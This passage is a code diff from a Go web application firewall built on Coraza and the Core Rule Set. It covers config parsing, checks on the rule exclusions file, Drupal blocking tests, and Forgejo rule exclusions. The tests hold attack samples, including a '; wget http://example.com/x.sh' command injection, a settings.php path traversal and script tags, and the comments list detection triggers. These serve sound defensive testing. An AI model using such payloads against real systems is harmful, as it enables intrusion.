), StateDir: env.absolutePath("SWW_STATE_DIR", "/var/lib/sww"),
ReputationCacheTTL: env.durationNotOff( StateWriteDelay: env.durationNotOff("SWW_STATE_WRITE_DELAY", "10s"),
"SWW_REPUTATION_CACHE_TTL", StateCounterInterval: env.durationNotOff("SWW_STATE_COUNTER_INTERVAL", "15m"),
"24h", CacheDir: env.absolutePath("SWW_CACHE_DIR", "/var/cache/sww"),
), LogRequestHeaders: env.headerNames("SWW_LOG_REQUEST_HEADERS",
ReputationTimeout: env.durationNotOff( "accept,accept-language,accept-encoding,content-type,origin,range"),
"SWW_REPUTATION_TIMEOUT", LogLevel: env.logLevel("SWW_LOG_LEVEL", "info"),
"2s", AdminToken: env.token("SWW_ADMIN_TOKEN"),
), MetricsToken: env.token("SWW_METRICS_TOKEN"),
CrowdSecDecisionsURL: env.crowdSecDecisionsURL( MetricsTopN: env.numberNotOff("SWW_METRICS_TOP_N", "50"),
"SWW_CROWDSEC_LAPI_URL", RulesDir: env.value("SWW_RULES_DIR", "/etc/sww/rules.d"),
), RulesEnabled: env.boolean("SWW_RULES_ENABLED", "true"),
CrowdSecKey: env.secret("SWW_CROWDSEC_LAPI_KEY"), WAFMode: env.wafMode("SWW_WAF_MODE", WAFModeBlock),
BanResponse: env.banResponse("SWW_BAN_RESPONSE", "403"), WAFParanoiaLevel: env.paranoiaLevel("SWW_WAF_PARANOIA_LEVEL", "1"),
LimitBanDuration: env.durationNotOff( WAFAnomalyThreshold: env.numberOrOff("SWW_WAF_ANOMALY_THRESHOLD", "5"),
"SWW_LIMIT_BAN_DURATION",
"1h",
),
LimitBanRepeatWindow: env.durationNotOff(
"SWW_LIMIT_BAN_REPEAT_WINDOW",
"24h",
),
MaxBanDuration: env.durationNotOff(
"SWW_MAX_BAN_DURATION",
"7d",
),
AttackBanDuration: env.durationNotOff(
"SWW_ATTACK_BAN_DURATION",
"7d",
),
MaxBans: env.numberNotOff("SWW_MAX_BANS", "5000"),
BanScopeV4Prefix: env.v4Prefix("SWW_BAN_SCOPE_V4_PREFIX", "32"),
StateDir: env.absolutePath(
"SWW_STATE_DIR",
"/var/lib/sww",
),
StateWriteDelay: env.durationNotOff(
"SWW_STATE_WRITE_DELAY",
"10s",
),
StateCounterInterval: env.durationNotOff(
"SWW_STATE_COUNTER_INTERVAL",
"15m",
),
CacheDir: env.absolutePath(
"SWW_CACHE_DIR",
"/var/cache/sww",
),
LogRequestHeaders: env.headerNames(
"SWW_LOG_REQUEST_HEADERS",
"accept,accept-language,accept-encoding,content-type,origin,range",
),
LogLevel: env.logLevel("SWW_LOG_LEVEL", "info"),
AdminToken: env.token("SWW_ADMIN_TOKEN"),
MetricsToken: env.token("SWW_METRICS_TOKEN"),
MetricsTopN: env.numberNotOff("SWW_METRICS_TOP_N", "50"),
RulesDir: env.value("SWW_RULES_DIR", "/etc/sww/rules.d"),
RulesEnabled: env.boolean("SWW_RULES_ENABLED", "true"),
WAFMode: env.wafMode("SWW_WAF_MODE", WAFModeBlock),
WAFParanoiaLevel: env.paranoiaLevel(
"SWW_WAF_PARANOIA_LEVEL",
"1",
),
WAFAnomalyThreshold: env.numberOrOff(
"SWW_WAF_ANOMALY_THRESHOLD",
"5",
),
WAFDisabledRules: env.ruleIDs("SWW_WAF_DISABLED_RULES", WAFDisabledRules: env.ruleIDs("SWW_WAF_DISABLED_RULES",
"920340,920420,920440,920640,930130,930140"), "920340,920420,920440,920640,930130,930140"),
WAFExemptPaths: env.pathPrefixes("SWW_WAF_EXEMPT_PATHS", ""), WAFExemptPaths: env.pathPrefixes("SWW_WAF_EXEMPT_PATHS", ""),
WAFBodyLimit: env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off), WAFBodyLimit: env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off),
CoreRuleSetExclusionsFile: env.filePath( CoreRuleSetExclusionsFile: env.filePath(
"SWW_CORE_RULE_SET_EXCLUSIONS_FILE"), "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"),
TrapPaths: env.trapPaths("SWW_TRAP_PATHS"), TrapPaths: env.trapPaths("SWW_TRAP_PATHS"),
ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"), ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"),
LogRemoteURL: env.logRemoteURL("SWW_LOG_REMOTE_URL"), LogRemoteURL: env.logRemoteURL("SWW_LOG_REMOTE_URL"),
LogRemoteTLSCAs: env.certificates("SWW_LOG_REMOTE_TLS_CA_FILE"), LogRemoteTLSCAs: env.certificates("SWW_LOG_REMOTE_TLS_CA_FILE"),
LogRemoteBuffer: env.numberNotOff( LogRemoteBuffer: env.numberNotOff("SWW_LOG_REMOTE_BUFFER", "10000"),
"SWW_LOG_REMOTE_BUFFER", LogRemoteFacility: env.facility("SWW_LOG_REMOTE_FACILITY", "local0"),
"10000", AlertWebhookURL: env.webhookURL("SWW_ALERT_WEBHOOK_URL"),
), AlertWebhookHeaders: env.webhookHeaders("SWW_ALERT_WEBHOOK_HEADERS"),
LogRemoteFacility: env.facility(
"SWW_LOG_REMOTE_FACILITY",
"local0",
),
AlertWebhookURL: env.webhookURL("SWW_ALERT_WEBHOOK_URL"),
AlertWebhookHeaders: env.webhookHeaders(
"SWW_ALERT_WEBHOOK_HEADERS",
),
AlertSlackWebhookURL: env.webhookURL("SWW_ALERT_SLACK_WEBHOOK_URL"), AlertSlackWebhookURL: env.webhookURL("SWW_ALERT_SLACK_WEBHOOK_URL"),
AlertNtfyURL: env.webhookURL("SWW_ALERT_NTFY_URL"), AlertNtfyURL: env.webhookURL("SWW_ALERT_NTFY_URL"),
AlertNtfyToken: env.secret("SWW_ALERT_NTFY_TOKEN"), AlertNtfyToken: env.secret("SWW_ALERT_NTFY_TOKEN"),
@@ -1014,10 +924,7 @@ func (e *environment) checkLookupDBPath(cfg *Config) {
"is file while SWW_LOOKUP_DB_PATH is unset; %w", errNeedsDBPath)) "is file while SWW_LOOKUP_DB_PATH is unset; %w", errNeedsDBPath))
case cfg.LookupSource != fileSource && cfg.LookupDBPath != "": case cfg.LookupSource != fileSource && cfg.LookupDBPath != "":
e.check("SWW_LOOKUP_DB_PATH", fmt.Errorf( e.check("SWW_LOOKUP_DB_PATH", fmt.Errorf(
"is set while SWW_LOOKUP_SOURCE is %s; %w", "is set while SWW_LOOKUP_SOURCE is %s; %w", cfg.LookupSource, errDBPathUnused))
cfg.LookupSource,
errDBPathUnused,
))
} }
} }
@@ -1066,11 +973,8 @@ func (e *environment) checkCountriesAndLookups(cfg *Config) {
{"SWW_ANOMALY_ASN_BYTES_PER_HOUR", cfg.AnomalyASN.BytesPerHour > 0}, {"SWW_ANOMALY_ASN_BYTES_PER_HOUR", cfg.AnomalyASN.BytesPerHour > 0},
} { } {
if setting.set { if setting.set {
e.check( e.check(setting.name, fmt.Errorf("is set while SWW_LOOKUP_SOURCE is off; %w",
setting.name, errNeedsLookups))
fmt.Errorf("is set while SWW_LOOKUP_SOURCE is off; %w",
errNeedsLookups),
)
} }
} }
} }
@@ -1093,21 +997,14 @@ func (e *environment) checkCrowdSec(cfg *Config) {
switch { switch {
case decisionsURL != "" && cfg.CrowdSecKey == "": case decisionsURL != "" && cfg.CrowdSecKey == "":
e.check("SWW_CROWDSEC_LAPI_URL", fmt.Errorf( e.check("SWW_CROWDSEC_LAPI_URL", fmt.Errorf(
"is set while SWW_CROWDSEC_LAPI_KEY is unset; %w", "is set while SWW_CROWDSEC_LAPI_KEY is unset; %w", errNeedsLAPIKey))
errNeedsLAPIKey,
))
case decisionsURL == "" && cfg.CrowdSecKey != "": case decisionsURL == "" && cfg.CrowdSecKey != "":
e.check("SWW_CROWDSEC_LAPI_KEY", fmt.Errorf( e.check("SWW_CROWDSEC_LAPI_KEY", fmt.Errorf(
"is set while SWW_CROWDSEC_LAPI_URL is unset; %w", "is set while SWW_CROWDSEC_LAPI_URL is unset; %w", errLAPIKeyUnused))
errLAPIKeyUnused,
))
case decisionsURL != "" && (slices.Contains(cfg.BlocklistURLs, decisionsURL) || case decisionsURL != "" && (slices.Contains(cfg.BlocklistURLs, decisionsURL) ||
decisionsURL == cfg.ASNLimitPercentURL): decisionsURL == cfg.ASNLimitPercentURL):
e.check( e.check("SWW_CROWDSEC_LAPI_URL", fmt.Errorf("gives the decision list %q, which %w",
"SWW_CROWDSEC_LAPI_URL", decisionsURL, errAnotherList))
fmt.Errorf("gives the decision list %q, which %w",
decisionsURL, errAnotherList),
)
} }
} }
@@ -1117,10 +1014,7 @@ func (e *environment) checkTagLists(cfg *Config) {
for _, list := range cfg.TagLists { for _, list := range cfg.TagLists {
if slices.Contains(cfg.BlocklistURLs, list.URL) || if slices.Contains(cfg.BlocklistURLs, list.URL) ||
list.URL == cfg.ASNLimitPercentURL || list.URL == cfg.CrowdSecDecisionsURL { list.URL == cfg.ASNLimitPercentURL || list.URL == cfg.CrowdSecDecisionsURL {
e.check( e.check("SWW_TAG_LISTS", fmt.Errorf("%q %w", list.URL, errFetchedOtherwise))
"SWW_TAG_LISTS",
fmt.Errorf("%q %w", list.URL, errFetchedOtherwise),
)
} }
} }
} }
@@ -1159,8 +1053,7 @@ func requestCanGetTag(cfg *Config, tag string) bool {
} }
if tag == ExploitSignatureTag { if tag == ExploitSignatureTag {
coreRuleSetOn := cfg.WAFMode != WAFModeOff && coreRuleSetOn := cfg.WAFMode != WAFModeOff && cfg.WAFAnomalyThreshold != 0
cfg.WAFAnomalyThreshold != 0
return cfg.RulesEnabled || coreRuleSetOn return cfg.RulesEnabled || coreRuleSetOn
} }
@@ -1175,17 +1068,15 @@ func requestCanGetTag(cfg *Config, tag string) bool {
zone, isZoneTag := strings.CutPrefix(tag, DNSBLTagPrefix) zone, isZoneTag := strings.CutPrefix(tag, DNSBLTagPrefix)
return isZoneTag && return isZoneTag && slices.ContainsFunc(cfg.DNSBLZones, func(each string) bool {
slices.ContainsFunc(cfg.DNSBLZones, func(each string) bool { return strings.ToLower(MaskZoneKey(each)) == zone
return strings.ToLower(MaskZoneKey(each)) == zone })
})
} }
// TagsNeedLookup reports whether SWW_TAG_DENY or SWW_TAG_LIMIT_PERCENT // TagsNeedLookup reports whether SWW_TAG_DENY or SWW_TAG_LIMIT_PERCENT
// names an asn= or country= tag. // names an asn= or country= tag.
func (c *Config) TagsNeedLookup() bool { func (c *Config) TagsNeedLookup() bool {
return slices.ContainsFunc(c.TagDeny, isLookupTag) || return slices.ContainsFunc(c.TagDeny, isLookupTag) || tagLimitNeedsLookups(c)
tagLimitNeedsLookups(c)
} }
// tagLimitNeedsLookups reports whether SWW_TAG_LIMIT_PERCENT names an asn= // tagLimitNeedsLookups reports whether SWW_TAG_LIMIT_PERCENT names an asn=
@@ -1202,8 +1093,7 @@ func tagLimitNeedsLookups(cfg *Config) bool {
// isLookupTag reports whether tag is an asn= or country= tag. // isLookupTag reports whether tag is an asn= or country= tag.
func isLookupTag(tag string) bool { func isLookupTag(tag string) bool {
return strings.HasPrefix(tag, ASNTagPrefix) || return strings.HasPrefix(tag, ASNTagPrefix) || strings.HasPrefix(tag, CountryTagPrefix)
strings.HasPrefix(tag, CountryTagPrefix)
} }
// headerNames reads a setting that is a list of header names, and // headerNames reads a setting that is a list of header names, and
@@ -1434,11 +1324,8 @@ func (e *environment) appName(
case set: case set:
e.check(name, fmt.Errorf("%q %w", value, errNotAppName)) e.check(name, fmt.Errorf("%q %w", value, errNotAppName))
case sending: case sending:
e.check( e.check(name, fmt.Errorf("is unset, and SWW_INSTANCE_NAME %q, its default, %w",
name, value, errNotAppName))
fmt.Errorf("is unset, and SWW_INSTANCE_NAME %q, its default, %w",
value, errNotAppName),
)
} }
return value return value
@@ -1454,9 +1341,7 @@ func (e *environment) checkInstanceNameForNtfy(
if ntfySet && strings.ContainsFunc(instanceName, unicode.IsControl) { if ntfySet && strings.ContainsFunc(instanceName, unicode.IsControl) {
e.check("SWW_INSTANCE_NAME", fmt.Errorf( e.check("SWW_INSTANCE_NAME", fmt.Errorf(
"%q %w, and is sent to ntfy in a header while SWW_ALERT_NTFY_URL is set", "%q %w, and is sent to ntfy in a header while SWW_ALERT_NTFY_URL is set",
instanceName, instanceName, errControlCharacter))
errControlCharacter,
))
} }
} }
@@ -1903,11 +1788,7 @@ func parseTags(value string) ([]string, error) {
} }
if slices.Contains(tags, tag) { if slices.Contains(tags, tag) {
return nil, fmt.Errorf( return nil, fmt.Errorf("%q %w", MaskZoneKey(item), errListedTwice)
"%q %w",
MaskZoneKey(item),
errListedTwice,
)
} }
tags = append(tags, tag) tags = append(tags, tag)
@@ -1972,11 +1853,7 @@ func parseTagPercents(value string) (map[string]int64, error) {
for _, item := range items { for _, item := range items {
colon := strings.LastIndex(item, ":") colon := strings.LastIndex(item, ":")
if colon <= 0 { if colon <= 0 {
return nil, fmt.Errorf( return nil, fmt.Errorf("%q %w", MaskZoneKey(item), errNotTagPercentItem)
"%q %w",
MaskZoneKey(item),
errNotTagPercentItem,
)
} }
tag, err := parseTag(item[:colon]) tag, err := parseTag(item[:colon])
@@ -1986,11 +1863,7 @@ func parseTagPercents(value string) (map[string]int64, error) {
percent, err := strconv.ParseInt(item[colon+1:], 10, 64) percent, err := strconv.ParseInt(item[colon+1:], 10, 64)
if err != nil || percent < 1 || percent > 99 { if err != nil || percent < 1 || percent > 99 {
return nil, fmt.Errorf( return nil, fmt.Errorf("%q %w", MaskZoneKey(item[colon+1:]), errNotTagPercent)
"%q %w",
MaskZoneKey(item[colon+1:]),
errNotTagPercent,
)
} }
if tag == ExploitSignatureTag { if tag == ExploitSignatureTag {
@@ -2189,8 +2062,7 @@ func parseWebhookURL(value string) (*url.URL, string, error) {
func isHTTPURL(u *url.URL) bool { func isHTTPURL(u *url.URL) bool {
port, err := strconv.ParseUint(u.Port(), 10, 16) port, err := strconv.ParseUint(u.Port(), 10, 16)
return (u.Scheme == "http" || u.Scheme == "https") && return (u.Scheme == "http" || u.Scheme == "https") && u.Hostname() != "" &&
u.Hostname() != "" &&
(u.Port() == "" || (err == nil && port != 0)) && (u.Port() == "" || (err == nil && port != 0)) &&
u.User == nil && u.User == nil &&
u.Opaque == "" && u.Opaque == "" &&
File diff suppressed because it is too large. Load diff
+9 -23
View File
@@ -292,11 +292,9 @@ var errSwwRuleID = errors.New("an id of sww's own rules")
// directive that removes or changes rules as it loads, such as // directive that removes or changes rules as it loads, such as
// SecRuleRemoveById. The Core Rule Set's rules load after the file, so // SecRuleRemoveById. The Core Rule Set's rules load after the file, so
// the directive finds none of them. // the directive finds none of them.
var errChangesNoRule = errors.New( var errChangesNoRule = errors.New("the Core Rule Set's rules load after the file; " +
"the Core Rule Set's rules load after the file; " + "switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " +
"switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " + "with a ctl exclusion")
"with a ctl exclusion",
)
// directivesIn returns the directives in text as Coraza reads them: it // directivesIn returns the directives in text as Coraza reads them: it
// skips blank lines and comment lines, and joins a line ending in \ to // skips blank lines and comment lines, and joins a line ending in \ to
@@ -340,27 +338,18 @@ func checkExclusions(exclusions string) error {
} }
if first <= lastOwnRuleID && last >= firstOwnRuleID { if first <= lastOwnRuleID && last >= firstOwnRuleID {
return fmt.Errorf( return fmt.Errorf("the exclusions file names %s: %w", match[0],
"the exclusions file names %s: %w", errSwwRuleID)
match[0],
errSwwRuleID,
)
} }
} }
// Coraza takes the directive's name up to the first space, without // Coraza takes the directive's name up to the first space, without
// regard to case. // regard to case.
name, _, _ := strings.Cut(directive, " ") name, _, _ := strings.Cut(directive, " ")
if lower := strings.ToLower(name); strings.HasPrefix( if lower := strings.ToLower(name); strings.HasPrefix(lower, "secruleremove") ||
lower,
"secruleremove",
) ||
strings.HasPrefix(lower, "secruleupdate") { strings.HasPrefix(lower, "secruleupdate") {
return fmt.Errorf( return fmt.Errorf("%s in the exclusions file changes no rule: %w", name,
"%s in the exclusions file changes no rule: %w", errChangesNoRule)
name,
errChangesNoRule,
)
} }
} }
@@ -499,10 +488,7 @@ func (c *CoreRuleSet) Inspect(
// readBody reads one byte past the limit, to tell which they are, gives // readBody reads one byte past the limit, to tell which they are, gives
// the Core Rule Set what it reads, and returns what it read and the error // the Core Rule Set what it reads, and returns what it read and the error
// that ended the reading early, if one did. // that ended the reading early, if one did.
func (c *CoreRuleSet) readBody( func (c *CoreRuleSet) readBody(tx types.Transaction, body io.Reader) ([]byte, error) {
tx types.Transaction,
body io.Reader,
) ([]byte, error) {
if c.bodyLimit == 0 { if c.bodyLimit == 0 {
return nil, nil return nil, nil
} }
File diff suppressed because it is too large. Load diff
+27 -106
View File
@@ -124,25 +124,15 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.body) got, _ := inspectBody(t, crs, r, sent.body)
if got.Score < drupalThreshold { if got.Score < drupalThreshold {
t.Errorf( t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got)
"POST %s %q let through: %+v",
sent.target,
sent.body,
got,
)
} }
} }
} }
}
// TestDrupalAttacksAreRefusedInTheExcludedJSONFields is the JSON half of for _, attack := range []string{
// TestDrupalAttacksAreRefusedInTheExcludedBodyFields. injection,
func TestDrupalAttacksAreRefusedInTheExcludedJSONFields(t *testing.T) { scriptTag,
t.Parallel() } {
crs := readingBodies(t)
for _, attack := range []string{injection, scriptTag} {
for _, field := range []string{ for _, field := range []string{
`"title":"` + attack + `"`, `"title":"` + attack + `"`,
`"body":{"value":"` + attack + `"}`, `"body":{"value":"` + attack + `"}`,
@@ -163,11 +153,7 @@ func TestDrupalAttacksAreRefusedInTheExcludedJSONFields(t *testing.T) {
} }
} }
r := request{ r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
http.MethodPatch,
"/node/2?_format=json",
[]string{jsonBody},
}
body := `{"title":[{"value":"` + attack + `"}]}` body := `{"title":[{"value":"` + attack + `"}]}`
got, _ := inspectBody(t, crs, r, body) got, _ := inspectBody(t, crs, r, body)
@@ -212,25 +198,14 @@ func TestDrupalPasswordFieldsPass(t *testing.T) {
wantPasswordFieldsPass(t, []passwordFields{ wantPasswordFieldsPass(t, []passwordFields{
{drupalRegister, formData, pass}, {drupalRegister, formData, pass},
{"/fr/user/register", formData, pass}, {"/fr/user/register", formData, pass},
{ {"/user/1/edit", formData, []string{"current_pass", pass[0], pass[1]}},
"/user/1/edit",
formData,
[]string{"current_pass", pass[0], pass[1]},
},
{"/admin/people/create", formData, pass}, {"/admin/people/create", formData, pass},
{drupalJSONRegister, jsonBody, []string{value}}, {drupalJSONRegister, jsonBody, []string{value}},
{drupalJSONRegister, jsonBody, []string{"pass.value"}}, {drupalJSONRegister, jsonBody, []string{"pass.value"}},
{ {"/user/1?_format=json", jsonBody, []string{value, "pass.0.existing"}},
"/user/1?_format=json",
jsonBody,
[]string{value, "pass.0.existing"},
},
{ {
"/jsonapi/user/user/86e2fbf4-0c01-4e2d-9c05-9a56e07f3e53", jsonBody, "/jsonapi/user/user/86e2fbf4-0c01-4e2d-9c05-9a56e07f3e53", jsonBody,
[]string{ []string{"data.attributes.pass.value", "data.attributes.pass.existing"},
"data.attributes.pass.value",
"data.attributes.pass.existing",
},
}, },
}) })
} }
@@ -247,11 +222,7 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
`../../sites/default/settings.php`, `../../sites/default/settings.php`,
} { } {
for _, field := range []string{"name", "mail"} { for _, field := range []string{"name", "mail"} {
r := request{ r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
http.MethodPost,
drupalJSONPasswordReset,
[]string{jsonBody},
}
body := `{"` + field + `":"` + attack + `"}` body := `{"` + field + `":"` + attack + `"}`
got, _ := inspectBody(t, crs, r, body) got, _ := inspectBody(t, crs, r, body)
@@ -270,23 +241,12 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
{"ls -la", 932250}, {"ls -la", 932250},
{".htaccess@example.com", 930120}, {".htaccess@example.com", 930120},
} { } {
r := request{ r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
http.MethodPost,
drupalJSONPasswordReset,
[]string{jsonBody},
}
body := `{"mail":"` + kept.value + `"}` body := `{"mail":"` + kept.value + `"}`
got, _ := inspectBody(t, crs, r, body) got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold || if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
!slices.Contains(got.RuleIDs, kept.rule) { t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
t.Errorf(
"POST %s %s: %+v, want %d among them",
r.target,
body,
got,
kept.rule,
)
} }
} }
} }
@@ -357,35 +317,10 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack) got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
if got.Score < drupalThreshold { if got.Score < drupalThreshold {
t.Errorf( t.Errorf("POST %s %s let through: %+v", r.target, sent.field, got)
"POST %s %s let through: %+v",
r.target,
sent.field,
got,
)
} }
} }
// An address keeps 932250, which refuses ls -la.
r := request{http.MethodPost, drupalEditAccount, []string{formData}}
got, _ := inspectBody(t, crs, r, "mail=ls%20-la")
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
t.Errorf(
"POST %s mail=ls%%20-la: %+v, want 932250 among them",
r.target,
got,
)
}
}
// TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields is the JSON half
// of TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields.
func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, field := range []string{ for _, field := range []string{
`"title":"; wget http://example.com/x.sh"`, `"title":"; wget http://example.com/x.sh"`,
`"subject":"; wget http://example.com/x.sh"`, `"subject":"; wget http://example.com/x.sh"`,
@@ -407,11 +342,7 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) {
} }
} }
r := request{ r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
http.MethodPatch,
"/node/2?_format=json",
[]string{jsonBody},
}
body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}` body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
got, _ := inspectBody(t, crs, r, body) got, _ := inspectBody(t, crs, r, body)
@@ -426,6 +357,14 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) {
if got.Score < drupalThreshold { if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got) t.Errorf("POST %s %s let through: %+v", r.target, body, got)
} }
// An address keeps 932250, which refuses ls -la.
r = request{http.MethodPost, drupalEditAccount, []string{formData}}
got, _ = inspectBody(t, crs, r, "mail=ls%20-la")
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
t.Errorf("POST %s mail=ls%%20-la: %+v, want 932250 among them", r.target, got)
}
} }
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) { func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
@@ -449,13 +388,7 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.field+value) got, _ := inspectBody(t, crs, r, sent.field+value)
if got.Score >= drupalThreshold { if got.Score >= drupalThreshold {
t.Errorf( t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
"POST %s %s%s refused: %+v",
sent.target,
sent.field,
value,
got,
)
} }
} }
} }
@@ -474,11 +407,7 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
t.Errorf("POST %s %s refused: %+v", r.target, body, got) t.Errorf("POST %s %s refused: %+v", r.target, body, got)
} }
r = request{ r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
http.MethodPost,
"/fr" + drupalJSONPasswordReset,
[]string{jsonBody},
}
body = `{"name":"` + word + `"}` body = `{"name":"` + word + `"}`
got, _ = inspectBody(t, crs, r, body) got, _ = inspectBody(t, crs, r, body)
@@ -488,11 +417,7 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
} }
for _, address := range []string{"python3@example.com", "powershell@example.com"} { for _, address := range []string{"python3@example.com", "powershell@example.com"} {
r := request{ r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
http.MethodPost,
"/fr" + drupalJSONPasswordReset,
[]string{jsonBody},
}
body := `{"mail":"` + address + `"}` body := `{"mail":"` + address + `"}`
got, _ := inspectBody(t, crs, r, body) got, _ := inspectBody(t, crs, r, body)
@@ -558,11 +483,7 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
{drupalEditAccount, "mail=python3"}, {drupalEditAccount, "mail=python3"},
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"}, {drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
} { } {
r := request{ r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
http.MethodPost,
sent.path + "?" + sent.field,
[]string{formData},
}
got, _ := inspectBody(t, crs, r, sent.field) got, _ := inspectBody(t, crs, r, sent.field)
if got.Score < drupalThreshold { if got.Score < drupalThreshold {
-96
View File
@@ -19,99 +19,3 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/wiki/search$" \
ctl:ruleRemoveTargetById=932160;ARGS:q,\ ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\ ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q" ctl:ruleRemoveTargetById=932260;ARGS:q"
# Forgejo's search of a repository's code at a branch or a tag sends the text
# searched for in q. The search box on a repository's home page sends it there
# when Forgejo has no code indexer, as by default. A branch or tag name can
# hold a slash, as feat/docker-support does. q skips there the rules it skips
# on gitea's search of code (900600 in gitea.conf). Among them, these refused
# Forgejo's searches there:
# 930120: .htaccess
# 932120: powershell
# 932160: /bin/sh
# 932250: ls -la
# 932260: python3
# Forgejo has no owner named api, so a path under /api/ gets none of this.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/search/(?:branch|tag)/.+$" \
"id:900681,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "!@rx ^/api/" \
"ctl:ruleRemoveTargetById=930110;ARGS:q,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=931100;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932130;ARGS:q,\
ctl:ruleRemoveTargetById=932140;ARGS:q,\
ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932235;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q,\
ctl:ruleRemoveTargetById=932380;ARGS:q,\
ctl:ruleRemoveTargetById=933100;ARGS:q,\
ctl:ruleRemoveTargetById=933130;ARGS:q,\
ctl:ruleRemoveTargetById=933135;ARGS:q,\
ctl:ruleRemoveTargetById=934100;ARGS:q,\
ctl:ruleRemoveTargetById=934110;ARGS:q,\
ctl:ruleRemoveTargetById=934130;ARGS:q,\
ctl:ruleRemoveTargetById=941100;ARGS:q,\
ctl:ruleRemoveTargetById=941110;ARGS:q,\
ctl:ruleRemoveTargetById=941160;ARGS:q,\
ctl:ruleRemoveTargetById=941180;ARGS:q,\
ctl:ruleRemoveTargetById=941390;ARGS:q,\
ctl:ruleRemoveTargetById=942100;ARGS:q,\
ctl:ruleRemoveTargetById=942140;ARGS:q,\
ctl:ruleRemoveTargetById=942190;ARGS:q,\
ctl:ruleRemoveTargetById=942230;ARGS:q,\
ctl:ruleRemoveTargetById=944100;ARGS:q,\
ctl:ruleRemoveTargetById=944110;ARGS:q,\
ctl:ruleRemoveTargetById=944130;ARGS:q"
# A page opened from the results of that search has the search's address in
# Referer, which skips these rules then, as after gitea's searches (900601 in
# gitea.conf):
# 941110: <script>
# 941120: onClick={
# 941160: <img src=
# 942100: LIKE '%foo%'
# 944100: java.lang.Runtime
# A path under /api/ is left out here too.
SecRule REQUEST_HEADERS:Referer \
"@rx ^https?://[^/]+/[^/]+/[^/]+/search/(?:branch|tag)/[^?]+\?" \
"id:900684,phase:1,pass,nolog,chain"
SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/api/" \
"ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
# Forgejo's search of a repository's releases, on its page and in the API,
# matches q against each release's title and tag. A tag name can hold a slash.
# q skips these rules there:
# 930120: .htaccess
# 932120: powershell
# 932160: /bin/sh
# 932250: ls -la
# 932260: python3
# Forgejo has no owner named api, so /api/v1/releases is not one.
SecRule REQUEST_FILENAME "@rx ^/(?:api/v1/repos/)?[^/]+/[^/]+/releases$" \
"id:900682,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/releases$" \
"ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
